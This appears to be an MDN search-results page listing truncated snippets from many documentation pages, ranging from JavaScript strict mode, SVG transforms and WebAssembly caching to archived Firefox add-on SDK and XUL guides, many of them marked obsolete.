differences from non-strict to strict syntax errors when adding 'use strict';, the following cases will throw a syntaxerror before the script is executing: octal syntax var n = 023; with statement using delete on a variable name delete myvariable; using eval or arguments as variable or function argument name using one of the newly reserved keywords (in prevision for ecmascript 2015): implements, interface, let, package, private, protected, public, static, and yield declaring function in blocks if (a < b) { function f() {} } obvious errors declaring twice the same name for a property name in an object literal {a: 1, b: 3, a: 7} this is no longer the case in ecmascript 2015 (bug 1041128).
... new runtime errors javascript used to silently fail in contexts where what was done was an error.
... change to eval in strict mode code, eval doesn't create a new variable in the scope from which it was called.
...here are the rules to make your code strictness-neutral: write your code as strict and make sure no strict-only errors (from the above "new runtime errors" section) are thrown.
Media - Progressive web apps (PWAs)
example this rule sets the page margins to one inch on all four sides: @page {margin: 1in;} this rule ensures that every h1 element starts on a new page: h1 {page-break-before: always;} more details for full details of css support for paged media, see paged media in the css specification.
... make a new html document, doc4.html.
... <!doctype html> <html> <head> <title>print sample</title> <link rel="stylesheet" href="style4.css"> </head> <body> <h1>section a</h1> <p>this is the first section...</p> <h1>section b</h1> <p>this is the second section...</p> <div id="print-head"> heading for paged media </div> <div id="print-foot"> page: </div> </body> </html> make a new stylesheet, style4.css.
... read the @import reference page to find details of how to import the new print-specific css file into your style4.css stylesheet.
enable-background - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eleven elements: <a>, <defs>, <glyph>, <g>, <marker>, <mask>, <missing-glyph>, <pattern>, <svg>, <switch>, and <symbol> context notes value accumulate | new [ <x> <y> <width> <height> ]?
... default value accumulate animatable no accumulate if an ancestor container element has a property value of enable-background: new, then all graphics elements within the current container element are rendered both onto the parent container elementʼs background image canvas and onto the target device.
... new [ <x> <y> <width> <height> ]?
... it also indicates that a new (i.e., initially transparent black) background image canvas is established and that in effect all children of the current container element shall be rendered into the new background image canvas in addition to being rendered onto the target device.
transform - SVG: Scalable Vector Graphics
matrix(a,b,c,d,e,f) is equivalent to applying the transformation matrix:(acebdf001)\begin{pmatrix} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{pmatrix} which maps coordinates from a previous coordinate system into a new coordinate system by the following matrix equalities:(xnewcoordsysynewcoordsys1)=(acebdf001)(xprevcoordsysyprevcoordsys1)=(axprevcoordsys+cyprevcoordsys+ebxprevcoordsys+dyprevcoordsys+f1) \begin{pmatrix} x_{\mathrm{newcoordsys}} \\ y_{\mathrm{newcoordsys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{pmatrix} \begin{pmatrix} x_{\mathrm{prevcoordsys}} \\ y_{\mathrm...
...\\ 1 \end{pmatrix} example html,body,svg { height:100% } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="30" height="20" fill="green" /> <!-- in the following example we are applying the matrix: [a c e] [3 -1 30] [b d f] => [1 3 40] [0 0 1] [0 0 1] which transform the rectangle as such: top left corner: oldx=10 oldy=10 newx = a * oldx + c * oldy + e = 3 * 10 - 1 * 10 + 30 = 50 newy = b * oldx + d * oldy + f = 1 * 10 + 3 * 10 + 40 = 80 top right corner: oldx=40 oldy=10 newx = a * oldx + c * oldy + e = 3 * 40 - 1 * 10 + 30 = 140 newy = b * oldx + d * oldy + f = 1 * 40 + 3 * 10 + 40 = 110 bottom left corner: oldx=10 oldy=30 newx = a * oldx + c * oldy + e = 3 * 10 - 1 * 30 + 30 = 30 newy = b * oldx + d ...
...* oldy + f = 1 * 10 + 3 * 30 + 40 = 140 bottom right corner: oldx=40 oldy=30 newx = a * oldx + c * oldy + e = 3 * 40 - 1 * 30 + 30 = 120 newy = b * oldx + d * oldy + f = 1 * 40 + 3 * 30 + 40 = 170 --> <rect x="10" y="10" width="30" height="20" fill="red" transform="matrix(3 1 -1 3 30 40)" /> </svg> translate the translate(<x> [<y>]) transform function moves the object by x and y.
... in other words: xnew = xold + <x> ynew = yold + <y> example html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- no translation --> <rect x="5" y="5" width="40" height="40" fill="green" /> <!-- horizontal translation --> <rect x="5" y="5" width="40" height="40" fill="blue" transform="translate(50)" /> <!-- vertical translation --> <rect x="5" y="5" width="40" height="40" fill="red" transform="translate(0 50)" /> <!-- both horizontal and vertical translation --> <rect x="5" y="5" width="40" height="40" fill="yellow" transform="translate(50,50)" /> </svg> scale the scale(<x> [<y>]) transform function specifies a scale operation by x and y.
Using custom elements - Web Components
adoptedcallback: invoked each time the custom element is moved to a new document.
...om square element added to page.'); updatestyle(this); } the disconnectedcallback() and adoptedcallback() callbacks log simple messages to the console to inform us when the element is either removed from the dom, or moved to a different page: disconnectedcallback() { console.log('custom square element removed from page.'); } adoptedcallback() { console.log('custom square element moved to new page.'); } the attributechangedcallback() callback is run whenever one of the element's attributes is changed in some way.
... as you can see from its properties, it is possible to act on attributes individually, looking at their name, and old and new attribute values.
... in this case however, we are just running the updatestyle() function again to make sure that the square's style is updated as per the new values: attributechangedcallback(name, oldvalue, newvalue) { console.log('custom square element attributes changed.'); updatestyle(this); } note that to get the attributechangedcallback() callback to fire when an attribute changes, you have to observe the attributes.
Introduction to using XPath in JavaScript - XPath
specifying null will create a new xpathresult object.
...<pre> var xpevaluator = new xpathevaluator(); var nsresolver = xpevaluator.creatensresolver( contextnode.ownerdocument == null ?
... snapshots do not change with document mutations, so unlike the iterators, the snapshot does not become invalid, but it may not correspond to the current document, for example, the nodes may have been moved, it might contain nodes that no longer exist, or new nodes could have been added.
... var req = new xmlhttprequest(); req.open("get", "chrome://yourextension/content/peopledb.xml", false); req.send(null); var xmldoc = req.responsexml; var nsresolver = xmldoc.creatensresolver( xmldoc.ownerdocument == null ?
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
creating an xsltprocessor to start, you need to create an xsltprocessor object: var processor = new xsltprocessor(); specifying the stylesheet before you can use it, you must import a stylesheet with the xsltprocessor.importstylesheet() method.
... transformtodocument xsltprocessor.transformtodocument() takes one argument, the source node to transform, and returns a new document with the results of the transformation: var newdocument = processor.transformtodocument(domtobetransformed); the resultant object depends on the output method of the stylesheet: html - htmldocument xml - xmldocument text - xmldocument with a single root element <transformiix:result> with the text as a child transformtofragment you can also use xsltprocessor.transformtofragment...
... var ownerdocument = document.implementation.createdocument("", "test", null); var newfragment = processor.transformtofragment(domtobetransformed, ownerdocument); xsltprocessor.transformtofragment() will only produce html dom objects if the owner document is itself an htmldocument, or if the output method of the stylesheet is html.
... instead of this: var processor = new xsltprocessor(); do this: var processor = components.classes["@mozilla.org/document-transformer;1?type=xslt"] .createinstance(components.interfaces.nsixsltprocessor); see also the xslt javascript interface in gecko document.load() regarding the loading of xml documents (as used above) original document information author(s): mike hearn last updated date: ...
XSLT: Extensible Stylesheet Language Transformations
WebXSLT
although the process is referred to as "transformation," the original document is not changed; rather, a new xml document is created based on the content of an existing document.
... then, the new document may be serialized (output) by the processor in standard xml syntax or in another format, such as html or plain text.
... xslt 2.0 (new) view all...
... mailing list newsgroup rss feed related topics xml, xpath, xquery ...
Caching compiled WebAssembly modules - WebAssembly
additionally, it handles creating a database to cache the compiled wasm modules in, attempts to store new modules in the database, and retrieves previously cached modules from the database, saving you from having to download them again.
...nction instantiatecachedurl(dbversion, url, importobject) { const dbname = 'wasm-cache'; const storename = 'wasm-cache'; setting up the database the first helper function contained inside instantiatecachedurl() — opendatabase() — creates an object store for storing wasm modules, and also handles clearing out the database if the dbversion is updated; it returns a promise resolving to the new database.
... function opendatabase() { return new promise((resolve, reject) => { var request = indexeddb.open(dbname, dbversion); request.onerror = reject.bind(null, 'error opening wasm cache database'); request.onsuccess = () => { resolve(request.result) }; request.onupgradeneeded = event => { var db = request.result; if (db.objectstorenames.contains(storename)) { console.log(`clearing out version ${event.oldversion} wasm cache`); db.deleteobjectstore(storename); } console.log(`creating version ${event.newversion} wasm cache`); db.createobjectstore(storename) }; }); } looking up modules in the database our next function — lookupindatabase() — provides a simple promise-based operation for look...
... function lookupindatabase(db) { return new promise((resolve, reject) => { var store = db.transaction([storename]).objectstore(storename); var request = store.get(url); request.onerror = reject.bind(null, `error getting wasm module ${url}`); request.onsuccess = event => { if (request.result) resolve(request.result); else reject(`module ${url} was not found in wasm cache`); } }); } storing and instantiating modules next, we define a function storeindatabase() that fires off an async operation to store a given wasm module in a given database.
2015 MDN Fellowship Program - Archive of obsolete content
activities and deliverables write a demonstration web application (new or existing) to showcase service worker functionality.
...webgl is getting some cool new features in 2015 with the standardization efforts around the webgl 2.0 spec being published.
... activities and deliverables help us develop a curriculum on mdn for teaching developers new to graphics programming the webgl apis.
Navigator.mozNotification - Archive of obsolete content
return value a new notification object.
... permissions when using notifications in an open web app, be sure to add the desktop-notification permission in your manifest file: "permissions": { "desktop-notification": {} } usage notes in firefox 22+, the instantiation of a new notification should be done with the notification object by calling new notification(title, options).
... nick desaulniers has written a notification shim to cover both newer and older implementations.
selection - Archive of obsolete content
setting the selection removes all current selections, inserts the specified text at the location of the first selection, and selects the new text.
...setting the selection removes all current selections, inserts the specified text at the location of the first selection, and selects the new text.
...(discontiguous selections can be created by the user with ctrl+click-and-drag.) events select this event is emitted whenever the user makes a new selection in a page.
simple-prefs - Archive of obsolete content
usage defining and initializing preferences to define preferences and give them initial values, add a new json array called preferences to your package.json file, and give it one entry for each preference: { "fullname": "example add-on", ...
... extensions.<addon-id>.<preference-name> for example, if you had a simple-pref named "somepreference" then you could get its value like so: require('sdk/preferences/service').get(['extensions', require('sdk/self').id, 'somepreference'].join('.')) this would give you the same value as: require('sdk/simple-prefs').prefs['somepreference'] the ability to change the default preferences branch is new in add-on sdk 1.15.
...e": "somepreference", "title": "some preference title", "description": "some short description for the preference", "type": "string", "value": "this is the default string value" }] you can access somepreference using the prefs property: var preferences = require("sdk/simple-prefs").prefs; console.log(preferences.somepreference); preferences.somepreference = "this is a new value"; console.log(prefs["somepreference"]); // bracket notation preferences["somepreference"] = "this is the default string value"; console.log: my-addon: this is the default string value console.log: my-addon: this is a new value ...
/loader - Archive of obsolete content
instantiation the loader module provides a loader() function that may be used to instantiate new loader instances: let loader = loader(options); configuration loader() may be provided with a set of configuration options: paths: describes where the loader should find the modules it is asked to load.
...when created with this option, loader will transparently mark all new global objects with the provided value.
...it enables you to create new loader instances identical to the current one: let { loader } = require('toolkit/loader'); let options = require('@loader/options'); let loader = loader(options); this module is useful in very specific cases.
remote/child - Archive of obsolete content
methods forevery calls the callback for every existing frame and any new frames created in the future.
... events attach triggered when a new content frame is opened (for example, the user opened a new tab).
... at this point you can't access frame's content yet, but you can add event listeners: const { frames } = require("sdk/remote/child"); frames.on("attach", function(frame) { console.log("new frame"); frame.addeventlistener("domcontentloaded", function(e) { console.log(e.target.location.href); }); }); detach triggered when a frame is removed (for example, the user closed a tab).
util/array - Archive of obsolete content
returns array : the new, duplicate-free array.
... returns array : the new, flattened array.
... let { fromiterator } = require('sdk/util/array'); let i = new set(); i.add('otoro'); i.add('unagi'); i.add('keon'); fromiterator(i) // ['otoro', 'unagi', 'keon'] parameters iterator : iterator the iterator object over which to iterate and place results into an array.
util/collection - Archive of obsolete content
globals constructors collection([array]) creates a new collection.
...otherwise a new empty array will be used, and no one but the collection will have access to it.
... var collection = require("sdk/util/collection"); var c = new collection.collection(); c.add(1); c.add(2); c.add(3); for (item in c) console.log(item); ...
window/utils - Archive of obsolete content
options : object options for the function, with the following properties: name type parent nsidomwindow parent for the new window.
... var { open } = require('sdk/window/utils'); var window = open('data:text/html,hello window', { name: 'jetpack window', features: { width: 200, height: 50, popup: true } }); args object extra argument(s) to be attached to the new window as the window.arguments property.
... args object extra argument(s) to be attached to the new window as the window.arguments property.
package.json - Archive of obsolete content
it looks like this (assuming the add-on's directory is "my-addon"): { "name": "my-addon", "title": "my-addon", "id": "jid1-1fergv45e4f4f@jetpack", "description": "a basic add-on", "author": "", "license": "mpl-2.0", "version": "0.1" } if you are using the new jpm tool, you can easily access manifest data from package.json by requiring it like any other module: var title = require("./package.json").title; key reference package.json may contain the following keys: author the name of the package's original author; this could be the name of a person or a company.
... hasembeddedwebextension new in jpm 1.2.0.
...a tool "fixpack" will reorder your package.json as follows: name first description second version third author fourth all other keys in alphabetical order dependencies and devdependencies sorted alphabetically newline at the end of the file more details here: "github - henrikjoreteg/fixpack: a package.json file scrubber for the truly insane." https://github.com/henrikjoreteg/fixpack ...
Add a Context Menu Item - Archive of obsolete content
here's an add-on that adds a new context menu item.
...you should see the new item appear: click it, and the selection is logged to the console (or the shell, if you're running an instance of firefox from the command line): info: elephantine lizard details all this add-on does is to construct a context menu item.
...abel: "log selection", context: contextmenu.selectioncontext(), contentscript: 'self.on("click", function () {' + ' var text = window.getselection().tostring();' + ' self.postmessage(text);' + '});', image: self.data.url("icon-16.png"), onmessage: function (selectiontext) { console.log(selectiontext); } }); adding an access key new in firefox 35.
Displaying annotations - Archive of obsolete content
rker.postmessage(simplestorage.storage.annotations); } worker.port.on('show', function(data) { annotation.content = data; annotation.show(); }); worker.port.on('hide', function() { annotation.content = null; annotation.hide(); }); worker.on('detach', function () { detachworker(this, matchers); }); matchers.push(worker); } }); when a new page is loaded the function assigned to onattach is called.
... then in the module's scope implement a function to update the matcher's workers, and edit handlenewannotation to call this new function when the user enters a new annotation: function updatematchers() { matchers.foreach(function (matcher) { matcher.postmessage(simplestorage.storage.annotations); }); } function handlenewannotation(annotationtext, anchor) { var newannotation = new annotation(annotationtext, anchor); simplestorage.storage.annotations.push(newannotation); updatematc...
... there are two files associated with the annotation panel: a simple html file to use as a template a simple content script to build the panel's content these files will live in a new subdirectory of data which we'll call annotation.
Creating Event Targets - Archive of obsolete content
create a new directory called "bookmarks", navigate to it, and run jpm init, accepting all the defaults.
... create a new file in "lib" called "bookmarks.js", and add the following code: var { emit, on, once, off } = require("sdk/event/core"); var {cc, ci} = require("chrome"); var { xpcomutils }= require("resource://gre/modules/xpcomutils.jsm"); var bookmarkservice = cc["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(ci.nsinavbookmarksservice); var bookmarkobserver = { onit...
...in its initialize() function, we: call the base class initializer use merge() to copy any supplied options into the newly created object call createobserver(), passing in the newly created object as the event target createobserver() is the same as in the previous example, except that in emit() we pass the newly created bookmarkmanager as the event target to use this event target we can create it and call the on(), once(), and removelistener() functions that it has inherited: var bookmarks = require("./...
Creating Reusable Modules - Archive of obsolete content
creating separate modules filepicker.js first create a new file in "lib" called "filepicker.js".
... copy the file picker code into this new file, and add the following line at the end: exports.promptforfile = promptforfile; this defines the public interface of the new module.
... var s = array.from(hash, (c, i) => tohexstring(hash.charcodeat(i))).join(""); return s; } exports.hashfile = md5file; index.js finally, update index.js to import these two new modules and use them: var filepicker = require("./filepicker.js"); var md5 = require("./md5.js"); require("sdk/ui/button/action").actionbutton({ id: "show-panel", label: "show panel", icon: { "16": "./icon-16.png" }, onclick: function() { console.log(md5.hashfile(filepicker.promptforfile())); } }); distributing modules with jpm, we use npm as the package manager for sdk mo...
Customizing the download progress bar - Archive of obsolete content
first you need to overlay the downloads window so that you can add a new stylesheet.
... in your jar.mn file, add the following (replacing "myextension" with the name of your extension's chrome package): % overlay chrome://mozapps/content/downloads/downloads.xul chrome://myextension/content/downloads-overlay.xul in downloads-overlay.xul, reference the new stylesheet: <?xml version="1.0"?> <?xml-stylesheet href="chrome://myextension/skin/myextension.css" type="text/css"?> <overlay id="mydownloadoverlay" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> </overlay> in jar.mn, make sure that there is an asterisk in front of the entry for myextension.css so that it will be preprocessed.
...now your new progress bar image will only be used for the downloads with your special attribute.
Downloading Files - Archive of obsolete content
s.utils.import("resource://gre/modules/privatebrowsingutils.jsm"); const webbrowserpersist = components.constructor("@mozilla.org/embedding/browser/nswebbrowserpersist;1", "nsiwebbrowserpersist"); var persist = webbrowserpersist(); var targetfile = services.dirsvc.get("desk", ci.nsifile); targetfile.append("file.bin"); var obj_uri = services.io.newuri(aurltodownload, null, null); // obtain the privacy context of the browser window that the url // we are downloading comes from.
...if you want to open a login prompt, you can use the default prompt by calling the window watcher's getnewauthprompter() method.
... function getimagefromurl(url) { var ioserv = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var channel = ioserv.newchannel(url, 0, null); var stream = channel.open(); if (channel instanceof components.interfaces.nsihttpchannel && channel.responsestatus != 200) { return ""; } var bstream = components.classes["@mozilla.org/binaryinputstream;1"] .createinstance(components.interfaces.nsibinaryinputstream); bstream.setinputstream(stream); var size = 0; var file_data = ""; whil...
HTML to DOM - Archive of obsolete content
although you can now natively parse html using domparser and xmlhttprequest, this is a new feature that is not yet supported by all browsers in use in the wild.
... the code snippets on this page will let your site work until these new features are more widely available.
...for that matter, we're going to load our html document first: var request = xmlhttprequest(); request.open("get", "http://example.org/file.html", false); request.send(null); our next step is to create the document object that will represent the dom into which we'll insert our newly-retrieved html: var doc = document.implementation.createhtmldocument("example"); doc.documentelement.innerhtml = request.responsetext; after this any manipulation that we might want to do will be something as simple as the following: doc.body.textcontent = "this is inside the body!"; using a hidden iframe element to parse html to a window's dom sample code may need more work.
Post data to window - Archive of obsolete content
need more elaborate examples, examples of displaying the response in a new tab, in background tabs, and a link to using xmlhttprequest for post requests.
... createinstance(ci.nsistringinputstream); if ("data" in stringstream) // gecko 1.9 or newer stringstream.data = datastring; else // 1.8 or older stringstream.setdata(datastring, datastring.length); var postdata = cc["@mozilla.org/network/mime-input-stream;1"].
... posting data to the current tab there is a convenience method in global scope (in firefox, chrome://browser/content/browser.js): loaduri(auri, areferrer, apostdata, aallowthirdpartyfixup); posting data to a new window window.opendialog('chrome://browser/content', '_blank', 'all,dialog=no', auri, aflags, areferrer, apostdata); ...
Preferences - Archive of obsolete content
foreach(function (pref_leaf_name) { that._callback(that._branch, pref_leaf_name); }); } }; preflistener.prototype.unregister = function() { if (this._branch) this._branch.removeobserver('', this); }; var mylistener = new preflistener( "extensions.myextension.", function(branch, name) { switch (name) { case "pref1": // extensions.myextension.pref1 was changed break; case "pref2": // extensions.myextension.pref2 was changed break; } } ); mylistener.register(true); note: you need to keep a reference to the preference branch you are observing (unless it is ...
...this example also uses a technique to trigger an onchange function that can be defined per preference and has the old value and along with the new value of the preference.
...eate a xul options window for your extension or application syncing preferences across clients using sync lxr pages for libpref, the source code module that implements the preferences system a javascript wrapper for preferences api adding preferences to an extension — a simple tutorial with a working extension that illustrates the use of preference observers inline options - how to use the new preference ui that appears inline in the add-on manager window starting in firefox 7 .
Rosetta - Archive of obsolete content
|*| http://www.gnu.org/licenses/gpl-3.0.html |*| |*| syntax: |*| |*| rosetta.appendcompiler([ "text/x-csrc", "text/x-c" ], yourcompiler); |*| \*/ var rosetta = new (function () { function createscript (oscript, oxhr200) { var smimetype = oscript.getattribute("type").tolowercase(), obaton = document.createcomment(" the previous code has been automatically translated from \"" + smimetype + "\" to \"text/ecmascript\".
..."" : odicts[smimetype](oscript.text); obaton.parentnode.insertbefore(ocompiled, obaton); } function reqerror (oerror) { throw new urierror("the script " + oerror.target.src + " is not accessible."); } function reqsuccess () { createscript(this.refscript, this); } function getsource (oscript) { var oreq = new xmlhttprequest(); oreq.onload = reqsuccess; oreq.onerror = reqerror; oreq.refscript = oscript; oreq.open("get", oscript.src, true); oreq.send(null); } function parsescript (osc...
...etelementsbytagname("script"), nidx = 0; nidx < ascripts.length; parsescript(ascripts[nidx++]) ); } var odicts = {}, rignoremimes = /^\s*(?:text\/javascript|text\/ecmascript)\s*$/; this.translatescript = parsescript; this.translateall = parsedocument; this.appendcompiler = function (vmimetypes, fcompiler) { if (arguments.length < 2) { throw new typeerror("rosetta.appendcompiler() \u2013 not enough arguments"); } if (typeof fcompiler !== "function") { throw new typeerror("rosetta.appendcompiler() \u2013 second argument must be a function"); } if (!array.isarray(vmimetypes)) { odicts[(vmimetypes).tostring()] = fcompiler; return true; } for (var nidx = 0; nidx < vmimetypes.length; nidx++) { ...
Displaying web content in an extension without security issues - Archive of obsolete content
so in the simplest case you would have: <iframe type="content" src="data:text/html,%3chtml%3e%3cbody%3e%3c/body%3e%3c/html%3e"/> but usually you don’t want to start with an empty document, you would rather want to load some template into the frame: var request = new xmlhttprequest(); request.open("get", "chrome://foo/content/template.html", false); request.send(null); frame.setattribute("src", "data:text/html," + encodeuricomponent(request.responsetext)); that way you can have the template in your extension but still strip it off all privileges when it is loaded in a frame.
...for example, your template document might have this code: <style type="text/css"> #entrytemplate { display: none; } </style> <div id="entrytemplate"> <div class="title"></div> <div class="description"></div> </div> now to insert a new entry in the document you would do the following: var template = doc.getelementbyid("entrytemplate"); var entry = template.clonenode(true); entry.removeattribute("id"); entry.getelementsbyclassname("title")[0].textcontent = title; entry.getelementsbyclassname("description")[0].textcontent = description; template.parentnode.appendchild(entry); the important difference here is that the result will...
...so there is no chance of accidentally adding new elements or attributes.
Jetpack Processes - Archive of obsolete content
createhandle() similar to nsijetpack.createhandle(), this function creates a new handle and returns it.
... createsandbox() this creates a new javascript sandbox and returns its global scope.
... this global scope does not contain privileged apis, or any non-standard javascript objects for that matter, though new globals can be endowed by simply attaching them to the global scope as properties.
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
the minimum knowledge required in the interest of brevity, i will omit explanations of widely understood technologies, and focus instead on introducing new technologies you will need to understand in order to develop for firefox.
... listing 3: an example of a class definition in javascript function myclass() { } myclass.prototype = { property1 : true, property2 : 'string', method : function() { alert('hello, world!'); } }; var obj = new myclass(); obj.method(); dom: an api for manipulating xml documents the document object model (dom) is a technical standard promulgated by the w3c, and is an api for manipulating the contents of xml documents as objects.
...listing 4 shows an example that deletes the second child element of the element with the "toolbar" id, adds a new button element as a substitute, and sets a label attribute.
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
« previousnext » adding a new toolbar adding new toolbars to firefox is easy, but adding them the wrong way is very easy as well.
...the way to include the file in the manifest is to add this line: style chrome://global/content/customizetoolbar.xul chrome://xulschoolhello/skin/toolbar.css if you are using xbl bindings (explained way ahead) for your toolbar items, you'll have to include the css files for those as well, each in a new line like the one above.
... skin xulschoolhello classic/1.0 skin/all/ skin xulschoolhello-os classic/1.0 skin/unix/ skin xulschoolhello-os classic/1.0 skin/win/ os=winnt skin xulschoolhello-os classic/1.0 skin/mac/ os=darwin all we did here is add a new entry for "common" styles that points to the all directory.
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
var response = xhr.responsetext; settimeout(function() { alert(response); }, 100); } alternative: use function.bind() introduced in javascript 1.8.5 function.bind is a new utility function that you may use to (partially) bind parameters to functions.
... addeventlistener("load", myaddon.init.bind(myaddon), true); settimeout(alert.bind(null, xhr.responsetext), 100); function.bind() returns a new function.
... alternative: replace + function.apply() you may replace the original function with a new function, keeping a reference to the original function which you then call from the new one.
Appendix F: Monitoring DOM changes - Archive of obsolete content
because it is based on css, it can be keyed to match new elements of any arbitrary css selector.
... * @param {document} doc the document in which to watch for new nodes.
...bindings are attached to dom nodes via css and are given the opportunity to run code via their constructors when new matching dom nodes are created.
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
ement.appendchild( jsontodom(["xul:hbox", {}, ["div", {}, ["a", { href: href, key: "link", onclick: function (event) { alert(event.target.href); } }, text], ["span", { class: "stuff" }, "stuff"]]], document, nodes)); alert(nodes.link); function addentrytopopup(menupopup, doc, chromewindow) { var newitem = doc.createelement("menuitem"); newitem.setattribute("value", "testvalue"); newitem.setattribute("label", "another popup menu item"); menupopup.appendchild(newitem); }; var jsontemplatebtn = ["xul:toolbarbutton", { id: "mytestbutton", class: "toolbarbutton-1", type: "menu", label: "test button label", toolti...
... var href = "http://www.google.com/"; var text = "google"; document.getelementbyid("target-div").innerhtml = '<div>\ <a href="' + escapehtml(href) + '" target="_top">' + escapehtml(text) + '</a>\ </div>' it needs to be stressed that this method should not be used in new code and is only a temporary measure to shore up legacy code bases.
... */ function parsehtml(doc, html, allowstyle, baseuri, isxml) { let parser_utils = "@mozilla.org/parserutils;1"; // user the newer nsiparserutils on versions that support it.
Handling Preferences - Archive of obsolete content
right-clicking on the list reveals several options that allow you to modify preference values and add new ones.
...just type "xulschool" in the filter box to see your new preference.
... then, create the observer method: observe : function(asubject, atopic, adata) { if ("nspref:changed" == atopic) { let newvalue = asubject.getintpref(adata); // do something.
Local Storage - Archive of obsolete content
in the initialization method of your one of your "common" or startup objects, add the following code: let formatter = new log4moz.basicformatter(); let root = log4moz.repository.rootlogger; let logfile = this.getlocaldirectory(); // remember this?
...appender = new log4moz.rotatingfileappender(logfile, formatter); appender.level = log4moz.level["all"]; root.addappender(appender); after that, you can create a logger object for any object in your project like this: this._logger = log4moz.repository.getlogger("xulschool.someobject"); this._logger.level = log4moz.level["all"]; note: we recommend that you create a logger instance in the constructor of every object and store it in a private variable.
...you'll need to carefully add migration code that moves the data from the old db format to the new, and this becomes increasingly complex as you add new versions and new structure changes.
Using the Stylesheet Service - Archive of obsolete content
var sss = components.classes["@mozilla.org/content/style-sheet-service;1"] .getservice(components.interfaces.nsistylesheetservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("chrome://myext/content/myext.css", null, null); sss.loadandregistersheet(uri, sss.user_sheet); note: loadandregistersheet will load the stylesheet synchronously, so you should only call this method using local uris.
... var sss = components.classes["@mozilla.org/content/style-sheet-service;1"] .getservice(components.interfaces.nsistylesheetservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("chrome://myext/content/myext.css", null, null); if(!sss.sheetregistered(uri, sss.user_sheet)) sss.loadandregistersheet(uri, sss.user_sheet); removing a previously registered stylesheet if you wish to remove a stylesheet that you previously registered, simply use the unregistersheet method.
... var sss = components.classes["@mozilla.org/content/style-sheet-service;1"] .getservice(components.interfaces.nsistylesheetservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var u = ios.newuri("chrome://myext/content/myext.css", null, null); if(sss.sheetregistered(u, sss.user_sheet)) sss.unregistersheet(u, sss.user_sheet); registering stylesheets on startup via the category manager stylesheets may also be registered on startup via the agent-style-sheets and user-style-sheets categories.
Creating a Web based tone generator - Archive of obsolete content
var audio = new audio(); audio.mozsetup(1, samplerate); var currentwriteposition = 0; var prebuffersize = samplerate / 2; // buffer 500ms var tail = null; // the function called with regular interval to populate // the audio output buffer.
... var sounddata = new float32array(parsefloat(available)); readfn(sounddata); // writing the data.
... = 0, currentsoundsample; var samplerate = 44100; function requestsounddata(sounddata) { if (!frequency) { return; // no sound selected } var k = 2* math.pi * frequency / samplerate; for (var i=0, size=sounddata.length; i<size; i++) { sounddata[i] = math.sin(k * currentsoundsample++); } } var audiodestination = new audiodatadestination(samplerate, requestsounddata); function start() { currentsoundsample = 0; frequency = parsefloat(document.getelementbyid("freq").value); } function stop() { frequency = 0; } </script> </body> </html> ...
Notes on HTML Reflow - Archive of obsolete content
reflow may have the side-effect of creating new continuation frames, for example, for a text frame when the text must be wrapped.
...each container frame constructs a new reflow state object (based on its container's reflow state object) in which the container will reflow its children.
... most of the constraints in the new reflow state are computed when the state is created; for example, the available space in the new reflow state is computed by subtracting the container frame's border and padding from the parent reflow state's available space.
Using XML Data Islands in Mozilla - Archive of obsolete content
lineitem> <name>line item 1</name> <price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> the xml source text can then be retrieved like this: var ordersource = document.getelementbyid("purchase-order").textcontent; the xml source text can be parsed into a dom tree using the domparser api: var parser = new domparser(); var doc = parser.parsefromstring(ordersource, "application/xml"); the html5 data block-based way shown here works in firefox, opera, webkit-based browsers such as chrome and safari, and ie9 while ie's xml data islands work only in ie.
..." type="application/xml"> <purchaseorder xmlns="http://example.mozilla.org/purchaseorderml"> <lineitem> <name>line item 1</name> <price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> <script> function rundemo() { var ordersource = document.getelementbyid("purchase-order").textcontent; var parser = new domparser(); var doc = parser.parsefromstring(ordersource, "application/xml"); var lineitems = doc.getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "lineitem"); var firstprice = lineitems[0].getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "price")[0].textcontent; document.body.textcontent = "the purchase order contains " + lineitems.length + " line...
...the price of the first line item is " + firstprice + "."; } </script> </head> <body onload="rundemo()";> demo did not run </body> </html> the xml source text can be parsed into a dom tree using the domparser api: var parser = new domparser(); var doc = parser.parsefromstring(ordersource, "application/xml"); the html5 data block-based way shown here works in firefox, opera, webkit-based browsers such as chrome and safari, and ie9 while ie's xml data islands work only in ie.
In-Depth - Archive of obsolete content
change those to match your new image as well.
... just continue this process for everything that you wish to change and you'll have a new skin in no time.
...point the url to the new location.
Editor Embedding Guide - Archive of obsolete content
docommand no parameters cmd_ol makes ordered list from selection or inserts new list if there is no selection.
... getcommandstate "state_enabled"(boolean) docommand no parameters note see also cmd_removelist cmd_ul makes unordered list from selection or inserts new list if there is no selection.
... getcommandstate "state_attribute" (cstring) docommand "state_attribute" (cstring or string) "helvetica, arial, sans-serif" "times new roman, times, serif" "courier new, courier, monospace" any string is acceptable.
Embedding FAQ - Archive of obsolete content
you can find more information on adding new protocols here how to embedding mozilla inside of java there hasn't been any good code examples found.
